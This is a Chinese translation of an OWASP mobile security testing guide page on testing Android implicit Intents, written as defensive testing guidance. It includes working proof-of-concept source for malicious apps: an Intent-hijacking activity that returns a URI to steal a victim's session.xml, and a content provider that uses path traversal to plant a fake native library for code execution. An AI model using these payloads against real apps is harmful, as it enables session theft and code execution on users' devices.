跳过内容

MASTG-TEST-0026: 测试隐式 Intent

此测试即将更新

此测试目前可使用,但将作为新的 OWASP MASTG v2 指南 的一部分进行全面修订。

请提交 PR 来帮助我们:MASTG v1->v2 MASTG-TEST-0026:测试隐式 Intent (android)

发送反馈

概述

在测试隐式 Intent 时,您需要检查它们是否容易受到注入攻击或潜在泄漏敏感数据。

静态分析

检查 Android Manifest,并查找在 中定义的任何 <intent> 签名(指定应用打算与之交互的其他应用集),检查它是否包含任何系统操作(例如 android.intent.action.GET_CONTENTandroid.intent.action.PICKandroid.media.action.IMAGE_CAPTURE 等),并在源代码中浏览它们是否出现。

例如,以下 Intent 没有指定任何具体的组件,这意味着它是一个隐式 Intent。它设置了 android.intent.action.GET_CONTENT 操作,以要求用户输入数据,然后应用通过 startActivityForResult 启动 Intent,并指定一个图像选择器。

Intent intent = new Intent();
intent.setAction("android.intent.action.GET_CONTENT");
startActivityForResult(Intent.createChooser(intent, ""), REQUEST_IMAGE);

应用使用 startActivityForResult 而不是 startActivity,表明它期望一个结果(在本例中是一个图像),因此您应该通过查找 onActivityResult 回调来检查 Intent 的返回值是如何处理的。如果 Intent 的返回值没有得到正确的验证,攻击者可能能够从应用内部的 /data/data/<appname> 存储中读取任意文件或执行任意代码。”。这种类型的攻击的完整描述可以在以下博客文章中找到。

案例 1:任意文件读取

在本例中,我们将看到攻击者如何由于对 Intent 返回值的不正确验证,从应用内部存储 /data/data/<appname> 中读取任意文件。

以下示例中的 performAction 方法读取隐式 Intent 的返回值,该值可以是攻击者提供的 URI,并将其传递给 getFileItemFromUri。此方法将文件复制到临时文件夹,如果该文件在内部显示,这很常见。但是,如果应用通过调用 getExternalCacheDirgetExternalFilesDir 将 URI 提供的文件存储在外部临时目录中,则攻击者可以在设置 android.permission.READ_EXTERNAL_STORAGE 权限后读取该文件。

private void performAction(Action action){
  ...
  Uri data = intent.getData();
  if (!(data == null || (fileItemFromUri = getFileItemFromUri(data)) == null)) {
      ...
  }
}

private FileItem getFileItemFromUri(Context, context, Uri uri){
  String fileName = UriExtensions.getFileName(uri, context);
  File file = new File(getExternalCacheDir(), "tmp");
  file.createNewFile();
  copy(context.openInputStream(uri), new FileOutputStream(file));
  ...
}

以下是利用上述漏洞代码的恶意应用的源代码。

AndroidManifest.xml

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<application>
  <activity android:name=".EvilContentActivity">
      <intent-filter android:priority="999">
          <action android:name="android.intent.action.GET_CONTENT" />
          <data android:mimeType="*/*" />
      </intent-filter>
  </activity>
</application>

EvilContentActivity.java

public class EvilContentActivity extends Activity{
  @Override
  protected void OnCreate(@Nullable Bundle savedInstanceState){
    super.OnCreate(savedInstanceState);
    setResult(-1, new Intent().setData(Uri.parse("file:///data/data/<victim_app>/shared_preferences/session.xml")));
    finish();
  }
}

如果用户选择恶意应用来处理 Intent,则攻击者现在可以从应用的内部存储中窃取 session.xml 文件。在前面的示例中,受害者必须在对话框中显式选择攻击者的恶意应用。但是,开发人员可以选择禁止此对话框并自动确定 Intent 的接收者。这将允许攻击在没有任何其他用户交互的情况下发生。

以下代码示例实现了此接收者的自动选择。通过在恶意应用的 Intent 过滤器中指定优先级,攻击者可以影响选择顺序。

Intent intent = new Intent("android.intent.action.GET_CONTENT");
for(ResolveInfo info : getPackageManager().queryIntentActivities(intent, 0)) {
    intent.setClassName(info.activityInfo.packageName, info.activityInfo.name);
    startActivityForResult(intent);
    return;
}

案例 2:任意代码执行

如果受害者应用允许 content://file:// URL,则对隐式 Intent 返回值的不正确处理可能导致任意代码执行。

攻击者可以实现一个 ContentProvider,其中包含 public Cursor query(...) 来设置任意文件(在本例中为 _lib.so_),如果受害者通过执行 copy 从内容提供程序加载此文件,则攻击者的 ParcelFileDescriptor openFile(...) 方法将被执行并返回恶意 _fakelib.so_。

AndroidManifest.xml

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<application>
  <activity android:name=".EvilContentActivity">
      <intent-filter android:priority="999">
          <action android:name="android.intent.action.GET_CONTENT" />
          <data android:mimeType="*/*" />
      </intent-filter>
  </activity>
  <provider android:name=".EvilContentProvider" android:authorities="com.attacker.evil" android:enabled="true" android:exported="true"></provider>
</application>

EvilContentProvider.java

public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});
    matrixCursor.addRow(new Object[]{"../lib-main/lib.so"});
    return matrixCursor;
}
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    return ParcelFileDescriptor.open(new File("/data/data/com.attacker/fakelib.so"), ParcelFileDescriptor.MODE_READ_ONLY);
}

EvilContentActivity.java

public class EvilContentActivity extends Activity{
  @Override
  protected void OnCreate(@Nullable Bundle savedInstanceState){
    super.OnCreate(savedInstanceState);
    setResult(-1, new Intent().setData(Uri.parse("content:///data/data/com.attacker/fakelib.so")));
    finish();
  }
}

动态分析

动态测试隐式 Intent 的一种便捷方法,尤其是识别潜在泄漏的敏感数据,是使用 Frida 或 frida-trace 并 Hook startActivityForResultonActivityResult 方法,并检查提供的 Intent 及其包含的数据。